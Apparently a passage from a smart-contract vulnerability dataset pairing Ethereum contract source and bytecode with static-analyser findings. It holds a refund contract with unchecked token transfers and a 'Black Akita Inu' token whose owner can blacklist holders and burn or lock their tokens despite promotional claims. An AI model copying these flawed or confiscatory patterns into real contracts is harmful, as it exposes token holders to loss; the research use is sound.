019050919050565b6000613000601b83613468565b915061300b826137cd565b602082019050919050565b6000613023601d83613468565b915061302e826137f6565b602082019050919050565b6000613046602183613468565b91506130518261381f565b604082019050919050565b6000613069602083613468565b91506130748261386e565b602082019050919050565b600061308c602983613468565b915061309782613897565b604082019050919050565b60006130af602583613468565b91506130ba826138e6565b604082019050919050565b60006130d2602483613468565b91506130dd82613935565b604082019050919050565b60006130f5601183613468565b915061310082613984565b602082019050919050565b613114816135cc565b82525050565b613123816135d6565b82525050565b600060208201905061313e6000830184612ec6565b92915050565b60006040820190506131596000830185612ec6565b6131666020830184612ec6565b9392505050565b60006040820190506131826000830185612ec6565b61318f602083018461310b565b9392505050565b600060c0820190506131ab6000830189612ec6565b6131b8602083018861310b565b6131c56040830187612f42565b6131d26060830186612f42565b6131df6080830185612ec6565b6131ec60a083018461310b565b979650505050505050565b600060208201905061320c6000830184612f33565b92915050565b6000602082019050818103600083015261322c8184612f51565b905092915050565b6000602082019050818103600083015261324d81612f8a565b9050919050565b6000602082019050818103600083015261326d81612fad565b9050919050565b6000602082019050818103600083015261328d81612fd0565b9050919050565b600060208201905081810360008301526132ad81612ff3565b9050919050565b600060208201905081810360008301526132cd81613016565b9050919050565b600060208201905081810360008301526132ed81613039565b9050919050565b6000602082019050818103600083015261330d8161305c565b9050919050565b6000602082019050818103600083015261332d8161307f565b9050919050565b6000602082019050818103600083015261334d816130a2565b9050919050565b6000602082019050818103600083015261336d816130c5565b9050919050565b6000602082019050818103600083015261338d816130e8565b9050919050565b60006020820190506133a9600083018461310b565b92915050565b600060a0820190506133c4600083018861310b565b6133d16020830187612f42565b81810360408301526133e38186612ed5565b90506133f26060830185612ec6565b6133ff608083018461310b565b9695505050505050565b600060208201905061341e600083018461311a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613484826135cc565b915061348f836135cc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c4576134c3613671565b5b828201905092915050565b60006134da826135cc565b91506134e5836135cc565b9250826134f5576134f46136a0565b5b828204905092915050565b600061350b826135cc565b9150613516836135cc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561354f5761354e613671565b5b828202905092915050565b6000613565826135cc565b9150613570836135cc565b92508282101561358357613582613671565b5b828203905092915050565b6000613599826135ac565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ee826135cc565b9050919050565b60005b838110156136135780820151818401526020810190506135f8565b83811115613622576000848401525b50505050565b6000613633826135cc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366657613665613671565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b68161358e565b81146139c157600080fd5b50565b6139cd816135a0565b81146139d857600080fd5b50565b6139e4816135cc565b81146139ef57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122024985054a0ed0adb94d292884942132bf4a5cd723cb10e9d9bfffc06be6e6a2b64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 603 |
0x1f403536911709b97b7343a8a078fd8f4558bf10 | /**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
contract RefundSystem is Ownable {
using Strings for uint256;
bytes32 public merkleRoot;
address token;
mapping(address => bool) claimed;
uint256 public totalClaimed;
constructor(address token_){
token = token_;
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
merkleRoot = _merkleRoot;
}
function depositTokens(uint256 amount) external {
IERC20(token).transferFrom(msg.sender, address(this), amount);
}
function balance() public view returns(uint256) {
return IERC20(token).balanceOf(address(this));
}
function claim(bytes32[] calldata merkleProof, uint256 amount) external {
require(!claimed[msg.sender], "Already claimed");
require(balance() >= amount, "Not enough balance on contract");
require(verifyValidity(merkleProof, msg.sender, amount), "Not eligible");
claimed[msg.sender] = true;
IERC20(token).transfer(msg.sender, amount);
totalClaimed += amount;
}
function verifyValidity(bytes32[] calldata merkleProof, address address_, uint256 amount) private view returns(bool) {
bytes32 leaf = keccak256(abi.encodePacked(address_, amount));
return MerkleProof.verify(merkleProof, merkleRoot, leaf);
}
function withdrawETH() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
function withdrawTokens(address token_, uint256 amount) external onlyOwner {
uint256 b = IERC20(token_).balanceOf(address(this));
if (amount >= b){
amount = b;
}
IERC20(token_).transfer(msg.sender, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638da5cb5b116100715780638da5cb5b1461010d578063b69ef8a814610128578063d54ad2a114610130578063dd49756e14610139578063e086e5ec1461014c578063f2fde38b1461015457600080fd5b806306b091f9146100ae5780632eb4a7ab146100c35780633b439351146100df578063715018a6146100f25780637cb64759146100fa575b600080fd5b6100c16100bc366004610829565b610167565b005b6100cc60015481565b6040519081526020015b60405180910390f35b6100c16100ed366004610853565b610289565b6100c1610426565b6100c16101083660046108ce565b61045c565b6000546040516001600160a01b0390911681526020016100d6565b6100cc61048b565b6100cc60045481565b6100c16101473660046108ce565b6104fd565b6100c161057c565b6100c16101623660046108e7565b6105d5565b6000546001600160a01b0316331461019a5760405162461bcd60e51b815260040161019190610909565b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a0823190602401602060405180830381865afa1580156101e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610205919061093e565b9050808210610212578091505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af115801561025f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102839190610957565b50505050565b3360009081526003602052604090205460ff16156102db5760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e4818db185a5b5959608a1b6044820152606401610191565b806102e461048b565b10156103325760405162461bcd60e51b815260206004820152601e60248201527f4e6f7420656e6f7567682062616c616e6365206f6e20636f6e747261637400006044820152606401610191565b61033e8383338461066d565b6103795760405162461bcd60e51b815260206004820152600c60248201526b4e6f7420656c696769626c6560a01b6044820152606401610191565b3360008181526003602052604090819020805460ff19166001179055600254905163a9059cbb60e01b81526004810192909252602482018390526001600160a01b03169063a9059cbb906044016020604051808303816000875af11580156103e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104099190610957565b50806004600082825461041c919061098f565b9091555050505050565b6000546001600160a01b031633146104505760405162461bcd60e51b815260040161019190610909565b61045a60006106fb565b565b6000546001600160a01b031633146104865760405162461bcd60e51b815260040161019190610909565b600155565b6002546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156104d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f8919061093e565b905090565b6002546040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b03909116906323b872dd906064016020604051808303816000875af1158015610554573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105789190610957565b5050565b6000546001600160a01b031633146105a65760405162461bcd60e51b815260040161019190610909565b60405133904780156108fc02916000818181858888f193505050501580156105d2573d6000803e3d6000fd5b50565b6000546001600160a01b031633146105ff5760405162461bcd60e51b815260040161019190610909565b6001600160a01b0381166106645760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610191565b6105d2816106fb565b6040516bffffffffffffffffffffffff19606084901b1660208201526034810182905260009081906054016040516020818303038152906040528051906020012090506106f186868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050600154915084905061074b565b9695505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826107588584610761565b14949350505050565b600081815b8451811015610805576000858281518110610783576107836109a7565b602002602001015190508083116107c55760408051602081018590529081018290526060016040516020818303038152906040528051906020012092506107f2565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b50806107fd816109bd565b915050610766565b509392505050565b80356001600160a01b038116811461082457600080fd5b919050565b6000806040838503121561083c57600080fd5b6108458361080d565b946020939093013593505050565b60008060006040848603121561086857600080fd5b833567ffffffffffffffff8082111561088057600080fd5b818601915086601f83011261089457600080fd5b8135818111156108a357600080fd5b8760208260051b85010111156108b857600080fd5b6020928301989097509590910135949350505050565b6000602082840312156108e057600080fd5b5035919050565b6000602082840312156108f957600080fd5b6109028261080d565b9392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561095057600080fd5b5051919050565b60006020828403121561096957600080fd5b8151801515811461090257600080fd5b634e487b7160e01b600052601160045260246000fd5b600082198211156109a2576109a2610979565b500190565b634e487b7160e01b600052603260045260246000fd5b6000600182016109cf576109cf610979565b506001019056fea264697066735822122072af49de7dd3ecf7afdfc72ea3b46a359eec0e646988fc514d8a533d655a9d1864736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 604 |
0x96e4ce0e504b5865fe174f3445e6206bc0856570 | /*
// Black Akita Inu (BAKITA) - fork Akita Inu
//CMC and CG listing application in place.
//Marketing budget in place
//Limit Buy to remove bots : on
//Liqudity Locked
//TG: https://t.me/akitatoken
//Website: https://www.akitatoken.net/
// SPDX-License-Identifier: Unlicensed
*/
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BAKITA is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b